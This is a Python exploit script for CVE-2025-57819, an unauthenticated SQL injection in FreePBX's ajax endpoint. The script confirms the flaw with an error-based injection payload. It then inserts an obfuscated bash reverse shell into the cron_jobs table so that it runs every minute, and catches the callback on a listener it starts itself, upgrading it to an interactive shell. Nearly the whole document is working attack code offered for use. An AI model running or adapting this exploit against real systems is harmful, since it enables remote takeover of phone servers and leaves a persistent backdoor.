FreePBX Unauthenticated SQL Injection to RCE (CVE-2025-57819)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156

#!/usr/bin/env python3

import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console

console = Console()

def banner():
    console.print("[cyan]CVE-2025-57819 • FreePBX SQLi → RCE[/cyan]")
    console.print("[cyan]Coded By: K3ysTr0K3R[/cyan]")
    console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]")
    print()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def validate_sqli(target_url):
    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': payload
    }
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
            console.print("[green][+][/green] Exploit path confirmed!")
            return True
        else:
            console.print("[red][-][/red] Target immune – no vulnerable signature detected.")
            return False
    except Exception as e:
        console.print(f"[red][-][/red] Probe failed: {e}")
        return False

def start_listener(lhost, lport):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((lhost, lport))
    except Exception as e:
        console.print(f"[red][-][/red] Listener deployment failed: {e}")
        sys.exit(1)
    server.listen(1)
    console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
    client, addr = server.accept()
    console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")

    pty_attempts = [
        b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"script -q /dev/null /bin/bash\n",
    ]
    for cmd in pty_attempts:
        client.send(cmd)
        time.sleep(0.5)
    console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")

    def reader():
        while True:
            try:
                data = client.recv(4096)
                if not data:
                    break
                sys.stdout.buffer.write(data)
                sys.stdout.flush()
            except:
                break

    recv_thread = threading.Thread(target=reader)
    recv_thread.daemon = True
    recv_thread.start()

    try:
        while True:
            cmd = input()
            if cmd.lower() == 'exit':
                client.close()
                break
            client.send((cmd + "\n").encode())
    except (EOFError, KeyboardInterrupt):
        print()
        console.print("[yellow][!][/yellow] Forced session termination.")
        client.close()
    except Exception as e:
        console.print(f"[red][-][/red] Channel error: {e}")
        client.close()
    console.print("[blue][*][/blue] Remote session closed.")

def exploit(target_url, lhost, lport):
    banner()
    console.print(f"[blue][*][/blue] Target locked: {target_url}")

    listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
    listener_thread.daemon = True
    listener_thread.start()
    time.sleep(1)

    if not validate_sqli(target_url):
        console.print("[red][-][/red] Exploit aborted – target not vulnerable.")
        sys.exit(1)

    shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
    b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
    final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
    hex_payload = final_cmd.encode().hex()

    sql_payload = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
        f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
    )

    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': sql_payload
    }

    console.print("[blue][*][/blue] Injecting payload into cron schedule...")
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if response.status_code in (200, 500):
            console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
            console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
        else:
            console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.")
            console.print(response.text[:200])
            sys.exit(1)
    except Exception as e:
        console.print(f"[red][-][/red] Injection delivery failed: {e}")
        sys.exit(1)

    console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...")
    listener_thread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX SQLi → RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
    parser.add_argument("--lhost", required=True, help="Listener IP address")
    parser.add_argument("--lport", type=int, required=True, help="Listener port")
    args = parser.parse_args()

    exploit(args.url, args.lhost, args.lport)